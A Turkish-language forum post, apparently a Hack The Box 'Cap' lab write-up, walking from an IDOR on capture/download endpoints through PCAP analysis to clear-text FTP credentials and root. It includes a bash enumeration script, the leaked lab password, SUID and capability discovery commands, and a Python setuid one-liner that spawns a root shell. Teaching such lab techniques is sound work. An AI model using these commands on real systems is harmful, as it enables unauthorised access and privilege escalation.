- Katılım
- 15 Ocak 2026
- Mesajlar
- 31
- Tepkime puanı
- 27
- Puan
- 18
HTB CAP – IDOR → PCAP Analysis → Credential Leak → FTP → Privilege Escalation
Bu write-up, Cap makinesinde ilk bakışta zararsız görünen bir endpoint’in,
nasıl zincirleme bir şekilde tam sistem ele geçirmeye gittiğini detaylı ve öğretici biçimde anlatır.
Amaç sadece çözmek değil, neden ve nasıl çalıştığını net şekilde kavramaktır.
1) /capture Endpoint Keşfi (IDOR)
Uygulamada gezinirken aşağıdaki endpoint dikkat çekmektedir:
Bu endpoint’e normal bir HTTP/1.1 GET isteği gönderildiğinde sunucu tarafında
yaklaşık 5 saniyelik bir network trafiği yakalanmakta ve bu trafik bir `.pcap`
dosyası olarak saklanmaktadır.
Önemli detaylar:
Bu durum klasik bir IDOR (Insecure Direct Object Reference) zafiyetidir.
2) PCAP Dosyalarının İndirilmesi – /download
Oluşturulan PCAP dosyaları aşağıdaki endpoint üzerinden indirilebilmektedir:
Örnek kullanım:
Bu noktada fark edilen durum:
Bu nedenle indirilen her PCAP dosyasının analiz edilmesi gerekmektedir.
3) PCAP Analizi – tcpdump ve capinfos
İlk hızlı kontrol için tcpdump kullandım:
Boş bir PCAP için tipik çıktı:
Gerçek trafik içeren bir PCAP için:
Daha net ve sayısal bir doğrulama için capinfos kullandım:
Örnek çıktı:
Burada özellikle:
4) Otomasyon – Python Script + capinfos
Manuel kontrol yerine küçük bir Python script yazıldı.
Script’in yaptığı işlemler:
Bu sayede:
5) FTP Clear-Text Credential Leak
Analiz edilen dolu PCAP’lerden birinde FTP trafiği tespit edildi.
FTP protokolü şifreleme kullanmadığı için kullanıcı adı ve şifre açık şekilde görülmektedir.
Filtreleme:
Örnek çıktı:
Bu çıktı açıkça şunu göstermektedir:
6) FTP Erişimi ve User Flag
Elde edilen bilgilerle FTP bağlantısı sağlandı:
Giriş süreci:
Bu noktada:
User flag genellikle “ilk foothold” anını temsil eder.
Artık sistemdeyiz ve enum aşamasına geçebiliriz.
7) Privilege Escalation – SUID / Python
FTP erişimi sonrası sistemde yetki yükseltme araştırmasına başlandı.
İlk olarak SUID bit’ine sahip dosyalar kontrol edildi:
Örnek çıktı:
Burada kritik olan dosya:
/usr/bin/python3.8
SUID doğrulaması:
Buradaki s karakteri, bu binary’nin root yetkileriyle çalışabileceğini gösterir.
Ek olarak capability kontrolü de yapıldı:
Örnek çıktı:
Bu capability, Python’un UID değiştirebilme yetkisine sahip olduğunu gösterir.
8) Python ile Root Shell
SUID / cap_setuid sahibi Python kullanılarak root shell alındı:
Doğrulama:
Root erişimi başarıyla elde edilmiştir.
9) Root Flag
Son adımda root flag alındı:
Bu aşamayla birlikte makine tamamen ele geçirilmiş oldu.
Genel Değerlendirme
Cap makinesi özellikle şunları çok net öğretmektedir:
Sessiz ama fazlasıyla öğretici bir makineydi.
Gerçek dünya pentest ve bug bounty senaryolarına oldukça yakındır.
— blackrose
Bu write-up, Cap makinesinde ilk bakışta zararsız görünen bir endpoint’in,
nasıl zincirleme bir şekilde tam sistem ele geçirmeye gittiğini detaylı ve öğretici biçimde anlatır.
Amaç sadece çözmek değil, neden ve nasıl çalıştığını net şekilde kavramaktır.
1) /capture Endpoint Keşfi (IDOR)
Uygulamada gezinirken aşağıdaki endpoint dikkat çekmektedir:
Kod:
http://10.129.7.202/capture?id=0
http://10.129.7.202/capture?id=2
http://10.129.7.202/capture?id=3
Bu endpoint’e normal bir HTTP/1.1 GET isteği gönderildiğinde sunucu tarafında
yaklaşık 5 saniyelik bir network trafiği yakalanmakta ve bu trafik bir `.pcap`
dosyası olarak saklanmaktadır.
Önemli detaylar:
- Endpoint herhangi bir authentication gerektirmemektedir
- id parametresi doğrudan backend’deki bir kaynağa karşılık gelmektedir
- Farklı id değerleri ile farklı kullanıcılara ait capture’lara erişilebilmektedir
Bu durum klasik bir IDOR (Insecure Direct Object Reference) zafiyetidir.
2) PCAP Dosyalarının İndirilmesi – /download
Oluşturulan PCAP dosyaları aşağıdaki endpoint üzerinden indirilebilmektedir:
Kod:
/download/<data_id>
Örnek kullanım:
Kod:
http://10.129.7.202/download/0
http://10.129.7.202/download/2
Bu noktada fark edilen durum:
- Bazı PCAP dosyaları sadece header içermekte (boş)
- Bazıları gerçek network trafiği barındırmaktadır
Bu nedenle indirilen her PCAP dosyasının analiz edilmesi gerekmektedir.
3) PCAP Analizi – tcpdump ve capinfos
İlk hızlı kontrol için tcpdump kullandım:
Kod:
tcpdump -r 00.pcap
Boş bir PCAP için tipik çıktı:
Kod:
reading from file 00.pcap, link-type EN10MB (Ethernet)
Gerçek trafik içeren bir PCAP için:
Kod:
IP 10.129.7.202.21 > 10.10.14.5.50312: Flags [P.], length 74
Daha net ve sayısal bir doğrulama için capinfos kullandım:
Kod:
capinfos 00.pcap
Örnek çıktı:
Kod:
File name: 00.pcap
File type: Wireshark/tcpdump/... - pcap
Number of packets: 72
File size: 9,935 bytes
Data size: 8,759 bytes
Capture duration: 31.128388 seconds
Burada özellikle:
- Number of packets
- Data size
- Capture duration
4) Otomasyon – Python Script + capinfos
Manuel kontrol yerine küçük bir Python script yazıldı.
Script’in yaptığı işlemler:
- /capture endpoint’inden ID çekmek
- /download üzerinden PCAP indirmek
- capinfos kullanarak dosyanın dolu mu boş mu olduğunu kontrol etmek
- Sadece anlamlı PCAP’leri ayıklamak
Kod:
#!/usr/bin/env bash
set -euo pipefail
HOST="10.129.7.212"
CAPTURE_URL="http://$HOST/capture"
DOWNLOAD_BASE="http://$HOST/download"
RED='\033[0;31m'
GREEN='\033[0;32m'
CYAN='\033[0;36m'
YELLOW='\033[1;33m'
NC='\033[0m' # reset
ID=$(curl -s "$CAPTURE_URL" | grep -oP '/data/\K[0-9]+' | head -n1)
if [[ -z "${ID:-}" ]]; then
echo -e "${RED}[-] ID bulunamadı. /capture çıktısı beklenenden farklı olabilir.${NC}"
exit 1
fi
echo -e "${GREEN}[+]${NC} ${CYAN}ID Extracted${NC} ${YELLOW}--->${NC} ${CYAN}/data/${ID}${NC}"
PCAP_FILE="${ID}.pcap"
curl -s "$DOWNLOAD_BASE/$ID" -o "$PCAP_FILE"
SIZE=$(stat -c%s "$PCAP_FILE" 2>/dev/null || wc -c < "$PCAP_FILE")
if [[ "$SIZE" -le 24 ]]; then
echo -e "${RED}[-]${NC} ${PCAP_FILE} çok küçük (${SIZE} bytes). Muhtemelen boş capture."
else
echo -e "${GREEN}[+]${NC} ${PCAP_FILE} indirildi (${SIZE} bytes)"
fi
echo -e "${CYAN}[*] Number of packets:${NC}"
capinfos "$PCAP_FILE" | grep -E "Number of packets|Data size|File size"
Bu sayede:
- 24 byte header tuzağına düşülmedi
- Zaman ciddi şekilde kazanıldı
5) FTP Clear-Text Credential Leak
Analiz edilen dolu PCAP’lerden birinde FTP trafiği tespit edildi.
FTP protokolü şifreleme kullanmadığı için kullanıcı adı ve şifre açık şekilde görülmektedir.
Filtreleme:
Kod:
tcpdump -nn -r 00.pcap tcp port 21
Örnek çıktı:
Kod:
FTP: USER nathan
FTP: PASS Buck3tH4TF0RM3!
FTP: 230 Login successful.
Bu çıktı açıkça şunu göstermektedir:
- FTP credentials clear-text
- Network trafiğini izleyen biri şifreyi doğrudan alabilir
6) FTP Erişimi ve User Flag
Elde edilen bilgilerle FTP bağlantısı sağlandı:
Kod:
ftp 10.129.7.202
Giriş süreci:
Kod:
Name: nathan
Password: Buck3tH4TF0RM3!
230 Login successful.
Bu noktada:
- Sisteme ilk gerçek erişim sağlandı
- user.txt flag alındı
User flag genellikle “ilk foothold” anını temsil eder.
Artık sistemdeyiz ve enum aşamasına geçebiliriz.
7) Privilege Escalation – SUID / Python
FTP erişimi sonrası sistemde yetki yükseltme araştırmasına başlandı.
İlk olarak SUID bit’ine sahip dosyalar kontrol edildi:
Kod:
find / -perm -4000 -type f 2>/dev/null
Örnek çıktı:
Kod:
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/python3.8
Burada kritik olan dosya:
/usr/bin/python3.8
SUID doğrulaması:
Kod:
ls -l /usr/bin/python3.8
Kod:
-rwsr-xr-x 1 root root 5486384 Apr 18 2021 /usr/bin/python3.8
Buradaki s karakteri, bu binary’nin root yetkileriyle çalışabileceğini gösterir.
Ek olarak capability kontrolü de yapıldı:
Kod:
getcap -r / 2>/dev/null
Örnek çıktı:
Kod:
/usr/bin/python3.8 = cap_setuid+ep
Bu capability, Python’un UID değiştirebilme yetkisine sahip olduğunu gösterir.
8) Python ile Root Shell
SUID / cap_setuid sahibi Python kullanılarak root shell alındı:
Kod:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Doğrulama:
Kod:
> id
----------> uid=0(root) gid=0(root) groups=0(root)
> whoami
----------> root
Root erişimi başarıyla elde edilmiştir.
9) Root Flag
Son adımda root flag alındı:
Kod:
cat /root/root.txt
Bu aşamayla birlikte makine tamamen ele geçirilmiş oldu.
Genel Değerlendirme
Cap makinesi özellikle şunları çok net öğretmektedir:
- Basit bir IDOR’un zincirleme etkisi
- PCAP analizinin gerçek hayattaki önemi
- Clear-text protokollerin (FTP) neden kritik risk olduğu
- SUID / capability yanlış yapılandırmalarının etkisi
- Küçük otomasyonların çözüm süresini nasıl hızlandırdığı
Sessiz ama fazlasıyla öğretici bir makineydi.
Gerçek dünya pentest ve bug bounty senaryolarına oldukça yakındır.
— blackrose